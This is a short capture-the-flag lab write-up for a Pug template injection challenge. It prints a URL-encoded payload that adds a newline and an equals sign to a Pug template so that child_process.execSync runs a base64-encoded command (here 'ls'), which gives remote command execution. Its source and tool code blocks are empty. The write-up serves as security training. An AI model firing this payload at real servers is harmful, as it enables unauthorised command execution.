Simple Web 0x22(Lab - Pug)
tags: NTUSTWS CTF Web
Challenge: http://h4ck3r.quest:8008
Source code
1 | |
Exploit - tqlmap
1 | |
- Using wireshark to trace the payload. You must let the template be like:
1
2
3
4
5
6
7
8
9
10const template = ` h1 Hello %NAME% = global.process.mainModule.require('child_process').execSync(Buffer('bHM=', 'base64').toString()) form(method='GET' action='/') div label(for='nickname') Name: input#nickname(type='text', placeholder='Nickname' name='name') button(type='submit') Submit a(href='/source') Source Code `;Including a new line and an equal sign, Payload:
1
%0A%3D%20global.process.mainModule.require%28%27child_process%27%29.execSync%28Buffer%28%27bHM%3D%27%2C%2B%27base64%27%29.toString%28%29%29which is
1
2= global.process.mainModule.require('child_process').execSync(Buffer('bHM=',+'base64').toString()) - Note that
bHM=is commandlsin base64 format